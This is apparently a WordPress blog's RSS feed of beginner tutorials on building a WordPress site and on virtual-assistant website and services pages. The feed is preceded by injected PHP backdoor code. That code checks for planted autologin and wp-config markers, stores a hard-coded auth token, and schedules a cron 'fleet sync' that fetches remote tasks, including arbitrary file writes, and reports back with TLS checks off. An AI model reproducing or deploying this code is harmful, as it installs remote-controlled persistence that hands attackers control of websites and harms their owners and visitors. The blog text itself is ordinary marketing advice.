// 5x_34 if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/home1/jpanicoc/public_html/socialmediadudes/wp-content/plugins/hseo/hseo.php', 'ctrl'=>'// 5x_34', 'vis'=>'// 6d_4k', 'vis_func'=>'wp_ujsdf7', 'vis_paths'=>array('/home1/jpanicoc/public_html/socialmediadudes/wp-content/plugins/hseo/hseo.php'), 'opt'=>'_wp_wgxmh99l', ); $keys=array(); $keys['id']='xid'; $keys['ver']='hq'; $keys['caps']='03u'; $keys['tasks']='vba'; $keys['interval']='jq0'; $keys['ack_id']='za9'; $keys['ok']='0k'; $keys['detail']='6f7'; $keys['inv']='cqa'; $keys['result']='ipi'; $hdr='X-IT8-Auth';$tok='tzyfnV8xQGJXYIRvl1GkC2beLsqoCbimo0TXSI7_a2M';$id='5d98c43257c0e6df';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; 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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); WordPress Archives - Social Media Dudes https://socialmediadudes.com/category/wordpress/ Sun, 11 Oct 2020 23:10:57 +0000 en-US hourly 1 https://socialmediadudes.com/wp-content/uploads/2020/02/cropped-Social-Media-Dudes-1-32x32.png WordPress Archives - Social Media Dudes https://socialmediadudes.com/category/wordpress/ 32 32 WordPress Tutorial For Beginners 2020 [Made Easy] https://socialmediadudes.com/wordpress-tutorial-for-beginners-2020-made-easy/?utm_source=rss&utm_medium=rss&utm_campaign=wordpress-tutorial-for-beginners-2020-made-easy Sun, 11 Oct 2020 23:10:10 +0000 https://socialmediadudes.com/?p=1008 [et_pb_section fb_built=”1″ _builder_version=”4.4.7″ custom_padding=”0px||0px||true|false” hover_enabled=”0″][et_pb_row _builder_version=”4.4.7″][et_pb_column _builder_version=”4.4.7″ type=”4_4″][et_pb_text _builder_version=”4.4.7″ link_text_color=”#8300e9″ hover_enabled=”0″] I’m going to be walking you through how to […]

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I’m going to be walking you through how to use WordPress and then ultimately, how to set up a cool website just like this one. If you are a do it yourselfer or just don’t have the funds to have a site created for you, I am going to show you the step by step process. Even if you have little or no experience making a website previously, you are going to be fine. 

Before we get started, I’m just going to cover a few things to give you a framework to work from.  Then, we will do the step by step process on how you can make a WordPress website. 

Hosting

Hosting of your is a concept that you may not be familiar with. It’s the place where all your content (blog posts, articles) are stored.  Included in that is all of your photos and videos and basically everything that’s on your website is stored there.  

When asked, I describe it to folks like this.  You are thinking of building a new home.  The first thing you do once you have to do is decide on the land you are going to build on.  You can’t build a house without the land to build it on.  I have used a variety of hosting services.  I currently use BlueHost.  The reason that I use them is based on studies done of all hosting services, they were the quickest in terms of page latency and had least downtime of all major providers. 

BlueHost has other features such as unlimited domain hosting (we will talk about domains in a minute), automatic WordPress installation and unlimited email addresses for free.  When I added the features to the performance, it was a no brainer to move to them.  Not to say that there aren’t other quality hosting services.  But I really like what BlueHost is doing.  By the way, you are getting all of that for less than $50 for the year!

Domain is your house address

Once you have secured the land (hosting), the next thing on the construction list is the domain. Think of the domain as your house address.  If your home is in the middle of the forest, it is hard to give directions to get there.  Domains such as this one (SocialMediaDudes.com) or others (SideHustleConnection.com or ShelbyandBailey.com) are your web address.

I use NameCheap and have used GoDaddy to purchase my domains.  By and large, the best practice is to have separate services for your domain and your hosting.  That being said, I have seen lots of my customers buy everything together.

Domain names can be a challenge these days, so create a list of possible domains that will work for you.  Try to keep it as short as possible (people may have to type that into their browser).  Your domain should give some indication of what you are about or the products/services you provide. 

Installing WordPress

Most hosting services provides 1 click installation of WordPress.  I have posted other articles on why I think you should use WordPress, but overall, the reasons are that it is user friendly and allows you to change the look of the site with one click of a button by changing the theme (more about that in a moment)  I am going to walk you through setting up WordPress on BlueHost.

Let’s get started.  On the left-hand menu, click on My Sites and then in blue box in the upper right-hand corner, click on “Create Site”.  That will bring you to a page that asks you “How would you like to build your website?”  Click on the “Use WordPress” box on the left side of the page.

WordPress is going to ask you some foundational questions such as the name of your site.  The name of your site may be different than your domain (and mostly likely is slightly different).  It will also ask you for a tag line.  Tag lines are akin to slogans.  These are optional and if provided, will show up on your website. Click on the submit button.

What comes up next is: “What domain do you want WordPress installed on?  There is a dropdown menu of all of your available domains (most people have more than one, but definitely not a requirement).  Select the domain you want to install WordPress on and click the Next button.

WordPress installed successfully!

Just as easy as that, WordPress is installed.  Your username/password is available here (and will also be emailed to you), so now let’s get started on finishing up your site!  Click on the “Login to WordPress” link.  This will automatically take you to your WordPress dashboard – and this is the place where you go whenever you want to edit your site!

A quick note:  the next time you want to make changes to your site, you are going to use your domain/wp-admin (example jpanico.com/wp-admin) 

You are ready!  Let’s Rock This Site!

Once you have logged into your site, the first thing we’re gonna do is install our theme. The theme is going to represent how your site looks and feels.  There are a ton of both free and paid themes out there.  My advice is to do a google search for the type of site you are.  In my example, I might do a search for:  free baked goods WordPress themes.   Don’t get overwhelmed with choosing the wrong theme.  One of the best features of a WordPress site is that you can change the entire look of your site by changing themes with just one click.  It is easy. 

A quick note.  Make sure that you are choosing Themes that are “responsive” (mobile device friendly)

On the left-hand menu, click on Appearance/Themes.  You will see there are some default themes there, but most likely you want something better.  Click on the “Add New Theme” + box.

If you found and downloaded a theme from the internet, click on the “Upload Theme” box at the top.  Otherwise, you might be better served by click on the Feature Filter and put in the subject, Features and Layout options that you are wanting your site to have.  Then put in a description in the Search themes box on the right.

Search through the themes, previewing the ones that catch your interest. Once you have found the theme you want, select it and click the Install button.  You may want to install multiple themes to compare.  You will need to click on the Activate button on the theme you want to use.  Changing themes is done by just activating a different theme.

Now that your theme has been installed, the next thing you may want to do is edit some of your site info. Most themes will have a Customize button where you can make edits to fonts, colors, Header images, Menus and Homepage settings.  Be sure that you save your changes.  While I want you to know where to do this, let’s wait for a minute because there are some things you will probably want to add before making all of the decisions.  That being said, you can edit things like fonts, Contact info and Social Media icon settings and then come back later. 

Get the basics set up!

On the left-hand menu, click on Settings.  Take a moment to look at these and make changes as necessary.  I am not going to take you through every setting, but there are a few that you are going to most likely want to change.

  • General – Timezone and Date/Time formats. If you don’t want your tagline showing up (maybe because it is part of your logo), remove it here.
  • Writing – Default Post Category – Categories are found under Posts/Categories. When you create a blog post, you can assign one or more categories to it.  What this allows a visitor to do is to find similar posts in the same category.  Think of the different subjects (categories) that you might be writing about and create them.  Don’t worry if the list is not complete.  You can always add new ones.  Select the Default Post Category here to save you time.
  • Reading – Most likely, this will be covered in your Theme customization, but things to consider are if you want the full text or a summary of your blog post to display.
  • Discussion – Determine if you want to have people comment on your site. If you do decide to do so, I would advise that you check “A comment is held for moderation” checkbox.  You don’t want people putting links on your site that are not appropriate.
  • Permalinks – I recommend that you use Post name. Makes it easier for search engines in general.  Can you do something a little more advanced?  Yes, but let’s walk before you run.
  • Privacy – To be clear, you need a privacy page. You will have to follow privacy laws.  You can use the default page or search the internet for something you are more comfortable with.  Take the time to review this. 

Set up your site pages

Before we generate site pages, let’s talk about the Media menu.  This is where your sites pictures and videos are held.  You can add any pics/videos you think you are going to use here.  Or you can add pictures to the Media library as you need them.

Let’s go to the Pages menu.  Under the All Pages selection, there is most likely a Sample and Privacy page.  We spoke above of addressing the Privacy page.  Here is where you are going to add pages such as:

  • About – Where you indicate about your business, how you got involved and maybe some background on yourself/family.
  • Contact Page – Give people wanting to reach out to you a way to contact with you. You may think to put your email address on your page, but you should also be prepared for a good bit of spam.  I am not saying to omit but know what you are getting yourself into.
  • Services/Products – Highlight the offerings that your business provides.
  • FAQ’s – Frequently Asked Questions pages help you to qualify your potential customer and minimize questions that are routinely thought of, but sometimes never asked.
  • Blog – Blogs are posted that are posted regularly that helps portray you as an expert in your field. Don’t sell yourself short here.  You are further ahead than other folks and they may just like your style/approach.

Create any pages you want and begin to populate it with content.  The beauty about using WordPress is that you can be working on these pages and keep them private until you are ready to “Publish”.  Don’t worry about the order of the pages just yet.  We are going to sequence them in a few minutes.  Use Page names to provide site visitors a clear understanding of where they are going.

Now that the pages have been created, let’s walk through how to enter content.  In the text block type (or copy and paste from a document you created) into the box.  Make changes to the Header/Paragraph level, what you want bolded, links to other parts of your site or to other sites, etc. You can easily add media by clicking on the + button and then Image, which will allow you to select a current picture/video or adding a new one.  When adding pictures, be aware of the size of the picture you are adding to the page as it will impact the speed.

To add media on the fly, click Change image and then you can just go here to upload files and then you pick your file. The title of your page is what is going to show up at the top on the site menu.

To sequence the pages in the order you want on your site, go to Appearance/Menus. Create a Menu Name and then select all of the Pages you want to display.  (Pages have to be “published” in order to show up here).  Once you select the pages, you are then able to put them into the order you want.  You can even do sub-menus if you like.  For example, you might have a Products page, but then have different pages for the types of products.  Baked goods/Cakes/Pies/etc If you want to rearrange them, you can just go move them up or down and then if you also want to put something in a subcategory, all you have to do is just move it to the right and that will make it into a subcategory.   

Blog posts

Blog posts can be a variety of post types (written, video or audio). We are just going to take baby steps here and create a written post.  On the menu, click Posts/Add New. You will need to add a Title (think search engine optimization), and then fill in the content in the same manner as you did on the pages.

Just filling in the content (and adding media) is not the end of the post. Be sure to add a Featured Image, select 1 or more Categories and add tags.  Tags are similar to Categories but are probably more finite.  More importantly, they play a big part in SEO and having you get found organically. 

Don’t forget Theme Customization

Let’s circle back to the Appearance or Theme Customizations to make any edits we need.  Some of these edits are going to be whether or not you have a Home page that has a slider, what pages those sliders will link to, whether or not you want to display blog posts (and how many) on your home page, etc.

Your Customizations may include a Footer page.  A Footer page is where you can provide consistent details about your site and might include a map location, contact information, site pages and other details. 

WordPress Plugins

Don’t think that just because you aren’t a total geek (you are making your own website, so you kind of are), that your website can’t have some cool functionality.  Plugins are bits of software that work with WordPress to either extend or expand on the functionality of your site.  Some act behind the scenes and some are more customer facing.  I will do a further post about plugins, but they can help you with SEO, make a contact form or so many other things.

To install a plugin, go to Plugins/Add new.  Search for a plugin (for example Yoast SEO), select it and then Activate it.  Some plugins need configured, so check on that to make sure you are getting the full benefit of what they are supposed to do.  If you have a plugin and decide not to use it, you can either deactivate it or delete it.

Anytime you want to see how your website looks like to the world, you can click at the top where the name of your site is.  A dropdown will display “Visit site”.  You can navigate your site, test out functionality and toggle back to the dashboard to make changes when you are ready. 

Launch your site!

You should be proud of yourself!  But keep in mind that all the work that has been done is not accessible to the public..yet!  You have pretty much been in preview mode as you have been steadily working to get your site ready.  In fact, if you gave anyone your website address, they would see “Coming Soon!”. 

But you are ready to have friends, family (and hopefully customers) see it.  On the Dashboard, at the top, you will see the link “launch your site”   It will then have you push one more button and your site is then live on the internet.

Congrats!  Job well done!

Your Takeaway…

A WordPress website for your business is something you can do.  You don’t have to be a super geek to have something you can be proud of.  So, if you have the time and patience (it will take a little of both) and your budget doesn’t provide for a professional, I will tell you it is better to have a site than not 100% of the time  (maybe with a few “qualified exceptions”)

But you CAN create a great looking website that people will want to do business with you if you take a little time to do it correctly.

However, I also want you to remember this.  We are decades past “build it and they will come”.  Websites need feeding of content that is updated consistently.  If you use good SEO tactics, you will attract an audience over time.  You will most likely need to promote your website by either doing some sort of advertising or through social media.  They both work.

Finally, if you don’t feel like you are up to the task, perhaps you have already started and the site isn’t looking like you want or maybe you have so many other things on your plate, that you want your website done by a pro, click here and let’s discuss your needs.  Consultations are free and I may be able to provide you a few tips/insights to get you there on your own.

Was this article helpful?  If so, please comment below.

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]]> The 10 Essential Elements For Your Virtual Assistant Website! https://socialmediadudes.com/virtual-assistant-website-for-beginners-top-10-essential-elements/?utm_source=rss&utm_medium=rss&utm_campaign=virtual-assistant-website-for-beginners-top-10-essential-elements Sat, 29 Aug 2020 06:39:00 +0000 https://socialmediadudes.com/?p=929 The post The 10 Essential Elements For Your Virtual Assistant Website! appeared first on Social Media Dudes.

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Virtual Assistant Website For Beginners – Top 10 Essential Elements!

Whether you are just starting your Virtual Assistant business or are looking to scale it to bigger heights, a website is one tool that is definitely a difference maker.  If you still aren’t sure you need one, read 10 Reasons Why Virtual Assistants Need A Website!  But for this post, let’s just agree you do in fact need a website for your Virtual Assistant (VA) business.

So, with that covered, let’s make sure your VA website has the essential components to make it stand out and to help build your business.  Here are the top 8 must haves for your VA website:

1 – The Right Platform – WordPress

Coming to the decision to have a website probably frayed some folks nerves to begin with.  But you are over that.  Keep that positive momentum going by selecting the right platform to build your website with.  You may be thinking to go with something that is easier. WordPress is now more user friendly than ever.  It won’t tie you to a developer as you want to either expand or make changes.  As tempting as other platforms (Square,  Wix, etc) may look, after a short learning curve, the WordPress platform most likely will serve you better.

Bottom line, you will have more options and have a better opportunity of having a website you can both be proud of and that will impress prospective customers by going with WordPress.

The other reason to use WordPress is that it is likely your clients will want you to have a working knowledge so you can do minor work on their site (post blogs, pics, post upcoming events, etc)

2 – Your Services Page

When you are just beginning your VA business journey, you tend to want (or at least “feel” you need) to be all things to all people.  That does you a dis-service. You need to understand who your Ideal Customer Avatar (ICA) is in order to best serve their needs.  As a virtual assistant, there are a myriad of services that you can provide to your ICA. What you don’t want to do is list every service that any VA offers because potential customers won’t believe you (unless you can provide some social proof described below)  If you can’t speak multiple languages, maybe offering translation services is not in your best interests.

What your Services Page does is to provide you an opportunity to show the things you can do and the verticals you can serve best.  You might have a real estate background, so you are able to put that knowledge forward to better help your clients.

So, what are the components that your Services Page should contain?

Detail the type of customer/vertical you are most likely to be successful with and who will benefit from the services you provide.  (If you do social media management, you might include that your company are Facebook/Instagrams ninjas who have had tremendous success working for start-up and small businesses who don’t have the time or inclination to take on this task themselves.  (The more story you tell, the easier it is to resonate with your offerings…because they are more likely to see themselves as wanting that help)

Now that you have listed the vertical segment of the types of customers you can help, let’s provide a listing of the services your VA business offers.

I am a HUGE believe in creating packages with prices.   I know some people are reluctant to do so, but I have found that most people are afraid of the unknown.  When I didn’t put prices on the site, people would say “I can’t afford you”  And they were so wrong.  So, I do now knowing that it does some prequalification of customers for me.  Is it possible that I lost some customers who I may have gotten otherwise?  Possibly.  But my approach to closing business is not high pressure.  This makes it easier for all parties to begin the conversation.

Is there an advantage to working with you?  In other words, what is the value proposition that you provide?  If there is something (experience, skill level, etc) that sets you apart from your competition, let prospective customers know about it.

Social proof – Do you have testimonials (video, emails, notes) from current/past customers that say what a great job you did?  Use them to your advantage her.

Pricing – while I spoke about pricing above, let people know that you can also create custom pricing for individual scenarios.

You need a call to action (CTA).  Include a call to action (click here for free 20 minute consultation, give me a call, send me an email, fill out this form, etc).  Instruct people what you want them to do next.

Is your website showing you and your VA business in the best possible light? – here everything that ALL websites should include! https://ctt.ac/6C6_v+ CLICK TO TWEET

3 – Readily Available Contact information

If you want customers to reach out to you, then they are going to need an easy way to do so. I can hear you right now.  “Thanks Captain Obvious!”  lol  But you would be amazed at how many sites don’t make this available at every opportunity! 

So, what am I really saying here is EVERY page of your site should provide a way for folks to reach out to you!  This could end up as a “Have a question” or Contact Us” in the footer of your site or could be in the body (or sometimes as you will see on my site, it is both)  This is in addition to having a Contact page that stands on its own that may provide more options to reach you.

So, that means using some sort of “contact form” module that will send an email to you when they submit. 

If you aren’t interested in getting a bunch of spam, putting your email address on the site is not advisable.

Provide every contact option that you can support (without going crazy).  Everyone has a different DNA for how they want to communicate.  Could be an email, phone call, skype/zoom meeting.  You might consider a google phone number that can alert you when someone calls.  Make it easy to do business with you and that begins with their ability to reach out.

4 – Photos/Videos of your team working

Prospects and customers resonate to sites that have either pictures or videos.  They like to see you in action and that you know what you are doing.  It goes to the “know/like/trust” factor that is not to be underestimated in gaining new clients.  Do, don’t disappoint them.  Take some pictures.  Not feeling comfortable with YOUR picture being taken.  Take more pictures.

Show potential customers that you and your team are friendly.  Better yet, include a video. 

OK, I get it.  Many of you are Solo business owners. If you feel like you don’t want every picture with you in it, consider including images of recognizable objects that are associated with your business.  If you specialize in working with law offices, perhaps an image of the legal scales of justice.  You get the idea.  Don’t go without photos/videos on your site.

 5 – About Page

Potential customers understand that many VA’s businesses are not huge.  So, in an effort to get a better understanding of who they might be doing business with potentially, they go to the About Page.  A lot of business owners in general either treat the About page as an afterthought or actually bypass it altogether.  Big mistake.  On all of my sites, my About Us page is one of the more visited pages on the site.

Use this page to tell your story.  It isn’t just to let folks know about you, but also how you use your skills to help your clients. The about page is about you, but it’s also about how you work with your potential clients.

I can hear you know.  John, I am not sure what to say.  Here are some things you might consider:

  • What makes you unique from other virtual assistants?
  • What do you bring to the table?
  • What led up to you doing this business?
  • Describe your ideal customer/vertical and why you have the skills to serve them better than your competitors.

Providing this will help you to hone your About page to attract new customers.

6 – A Blog with Amazing content

You provide amazing services that provide high value to your customers. What you want to do at this point is to have as many visitors to your website as possible that would be interested in your agency providing services. So, you want people to find you, but how does that happen?  How does your site come up in the search algorithm?  Simply said, it requires quality content that is provided on a consistent basis.  Google likes websites that are regularly updated. Content in its many forms demonstrates your subject matter expertise.  It can be written blog posts,  videos or podcasts. Something to keep in mind that you want to have the content reside on your site, so google and social media brings people back to you where they can find out more about the services you provide.  The result of this effort is that it builds relationships with your audience and prospective customers.  A blog is you’re the cheapest, most cost effective marketing that you can do! Here are some of the things that you may not have thought about a blog doing for you:

  • Provide a reference point for your social media postings
  • Effective communication network for your agency to allow others to post to other social networks
  • Insures that you are perceived as an expert in your niche

OK, I can hear you now….”John, I am convinced I need a blog, but I don’t have the time or the expertise to put together blog posts for my business.  I have you covered! I provide 1,500 word blog posts in a DFY approach for VA’s on a monthly basis that includes an infographic that is very economical.  Click here to find out more!

7 – Client Reviews / Testimonials

What happens when your customer needs your service, but you don’t have the time to build the know/like/trust factor?  We mentioned testimonials above but it deserves its own paragraph. Customer testimonials add content to your site and let’s other know that you add value to the services you provide!

Testimonials from real customers make prospects relate to their challenges and tell people who don’t know you that you can be trusted to do a great job.

They are actually easier to get than you may think.  Talk to your customers and ask if they would be willing to either write a few words about their experience with you or better yet a short video.

If you get a great google review, then let people know about it.

Finally, a word about case studies.  Let me just say this…case studies are powerful!  Potential clients want to know how you have helped past clients achieve their goals. By you putting together the story of what the challenge was (customer had serious data issues in getting their spread sheets into one file that made sense. Then tell how you approached it and what you did to provide the solution that the customer loved.  Having case studies on your website can help prospects feel more comfortable reaching out to you because they can see how much you’ve already helped other business owners.

Don’t overlook this if your VA business is just getting off of the ground and you don’t have the social proof to provide these types of opportunities (yet).  Don’t stress it! It’s perfectly fine to use past co-workers and bosses as your testimonials until you get your VA business up and going. You are probably doing many of the same things that you did for your bosses.  Just be transparent.  It will pay off long term.

8 – Frequently Asked Questions (FAQs)

There are several ways that providing a list of FAQ’s can help your business. But before we go there, let’s answer some FAQ’s about what they are as well as what they do:

  • A list of the most common questions that come up for your niche and type of work
  • Enhances the customer experience
  • They help people understand your business
  • They help you communicate the terms and conditions for doing business with you.
  • Increases sales because you have provided the basic information needed to go forward
  • Decreases incoming questions that to you seem repetitive or basic.

Let’s talk about the benefits that FAQ’s provide:

  • Helps you to let customers know their needs
  • Shows your expertise
  • Helps customers to better understand what your business does.
  • Actually will boost your Search Engine Optimization

Some people may have a misconception of what working with a VA is like.  Providing a list of FAQs solves that problem!

FAQs help to remove any confusion or uncertainty that potential clients may have about working with you. By answering questions such as, “what is it like to work with you?” and “how do I know if I’m ready to work with a VA?” upfront, your potential clients will already start to feel more comfortable with the idea of working with you.

9 – Website need to be Responsive and designed for mobile optimization

Let’s start with understanding what that means.  A website that is responsive is basically one that adapts to have your website look good no matter what size device.  In other words, everything is scaled and “optimized” to look good whether you are viewing it on your desktop, laptop, tablet or other mobile device.

So, one thing you want to do when you build your site (or have The Social Media Dudes create your site [shameless plugJ]) is to insure it is responsive by testing it out on different devices.  

More importantly, you don’t want to do everything right on your site by including everything above only to have Google punish you because your site isn’t mobile friendly.

10 – Call To Action (CTAs)

Sometimes, people need to be told what to do.  It may be the result of not knowing what the next step is, it may not be clear how to proceed, or just need to be guided.  If your pages don’t contain some sort of Call to Action (CTA), then you are likely missing potential sales

A CTA isn’t always about closing the deal.  It may be trying to get them to subscribe to your email list (you do have an email list, don’t you?), perhaps you are wanting engagement by having the visitor leave a comment or perhaps to set up a quick consulting call so you can understand the prospects needs before you prescribe a solution (you).

Call to action (s) are a key feature to any website. Every page and blog post on your VA website should have at least one CTA.

Your takeaway…

Whether you are just starting out or your VA business has been up and running for a while, our VA website is an essential part of your business.  Work on implementing these essential tips on your website to insure you make a great impression!

Do you still have questions or are overwhelmed? Reach out to the Social Media Dudes by scheduling a free 20 minute consultation to discuss your current site or plan on a new site to invigorate your VA business.

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]]> Top 5 Things Your Services Page Should Contain! https://socialmediadudes.com/top-5-things-your-services-page-should-contain/?utm_source=rss&utm_medium=rss&utm_campaign=top-5-things-your-services-page-should-contain Sat, 15 Aug 2020 18:27:00 +0000 https://socialmediadudes.com/?p=905 [et_pb_section fb_built=”1″ _builder_version=”4.4.7″ custom_padding=”0px||0px||true|false”][et_pb_row _builder_version=”3.25″ background_size=”initial” background_position=”top_left” background_repeat=”repeat”][et_pb_column type=”4_4″ _builder_version=”3.25″ custom_padding=”|||” custom_padding__hover=”|||”][et_pb_text _builder_version=”4.4.7″ link_text_color=”#8300e9″ link_font_size=”18px” background_size=”initial” background_position=”top_left” background_repeat=”repeat” hover_enabled=”0″] People […]

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People tend to spend a lot of time on their “About” page.  And while there is something to the know/like/trust factor of gaining customers, the page on your site that will make you money and elevate your business from your competition is your Services page.

Your Services page is usually one of the most viewed pages of your website, so you want to do everything you can to have it stand out. Because the right layout and content can potentially lead to more sales.

We have all come to the understanding that our blog posts should be geared to our ICA (Ideal Customer Avatar) to effectively grab our audience. Your Services page should be considered in the same light.  The more you tailor your Services page to appeal to your ideal client or target market niche, the more likely you will be able to attract the kind of people who need your services and that will want to work with you.

Here’s how to format your website’s services page to attract more clients!

Top 5 Tips for Creating a Service Page

Capture their attention; lead with your services!

In some regards, this could be considered “qualifying your audience”.  As such, lead with a brief overview of the services you offer.  You can then provide a more detailed description of your services a little further down the page.

Set yourself apart from your competition by letting your prospective clients know the benefits your service offerings will provide to your ICA. To gain a competitive edge, you should also highlight the benefits prospective clients can experience after using your company’s services. Appeal directly to your ideal client by addressing their problems or pain points and how your services can solve them.

Relate your services to your ICA

This was mentioned earlier, but can’t be overstated.  Tell how your product/service can benefit your ICA.  Doing just this can dramatically increase your conversions!  Cement the thoughts/relationship further by being able to detail you have helped specific (ICA) clients previously.  (If they aren’t willing to give a testimonial, then ask their permission to reference them.

Include a section titled “This is for you if…” so your website visitors can quickly skim the content and see if your services are suitable for their particular needs.

CLICK TO TWEET!  Want to know the Top 5 Tips For Creating a Service Page That Converts!

Testimonials pay untold dividends

Don’t forget to make good use of all of those great testimonials you have received on your Services page.  It provides prospects a very good understanding of what they can expect as your customer. Your past clients can really do a good bit of the heavy lifting here if you have done a great job of providing value to them on previous engagements.  While people gravitate to video testimonials, even little snippets pulled from emails can be the nudge that turns a prospect into a customer.  In other words..past success stories are a good indicator of future sales :).  Testimonials deliver on the know/like/trust factor with prospective customers!

Cut to the chase: Post your prices!

I know there are different thoughts on this.  But in my experience, you lose more business by not having prices than posting them.  Why?  Because when I didn’t post pricing, people who went elsewhere only did so because they thought I was too expensive.  Their logic was, looking at your content and site and social media presence, we didn’t think we could afford you.

To me, it just saves time.  I try to let my content/testimonials to the selling so to speak.  If I get on the phone with them, I am not trying to convince them of the value I can provide.  It is more about how am I going to execute.  So, if someone sees my price and is put off for some reason (maybe too expensive, but I have also had folks said I didn’t charge enough and weren’t confident of my skill set. (Turns out, a lot came back after the fact and were pleasantly surprised).  Either way, that is one less phone call.  I know my ICA, what their pain challenges are, as well as the target price point.  As such, I am hitting the mark more often than not J

If you are still looking for a reason to post your prices, some potential customers will leave a website if they can’t find pricing information, so make it easy and include it!  If you are hesitant to list a specific price, I get that.  In that case, provide a range and indicate it will be a matter of what services they decide they want.

A must have: a Call to Action (CTA)

There really isn’t any need to do all of the above and then forget the most important part of your services page:  a Call To Action (aka CTA)  I mean you have told your ICA about the services that would most likely help them and how they could be like previous customers and benefit as a result of doing business with you.

What you need to readily provide now is What is the next step?   This is not the time or the place to beat around the bush on this.  Provide an opportunity to have prospects take the next logical course of events.

How would that look?  Easier than you think, but many Service pages don’t address this.  For example, you can place a button or link that invites them to:

  • Get a quote
  • Contact us now
  • Click here for your free 20 minute consultation

If you want your clients to work with you, make it easy for them to do so!

Your takeaway…

Your Services page on your website provides the best opportunity to hone in on your ICA and make them a customer.  Demonstrate that you know their pains and the challenges they face by showing them how your services directly hit home in a positive manner.  The more you understand and can customize your offerings to your target niche, the more successful you will be in gaining new customers.  And if you know your customers intimately, your pricing displayed on your website will actually benefit you long term and have the right customers approach you for your service.  Solidify the confidence of your ICA that you are more than up for the job by providing great testimonials on your Services page.

The more you tailor your services page to appeal to your ideal client or target market niche, the more likely you will be able to attract the kind of people who need your services and that you want to work with.

Are you ready to take the next step with your website and need help?

Let’s talk about your situation and/or digital media needs.  Contact us for a no obligation 20 minute consultation!

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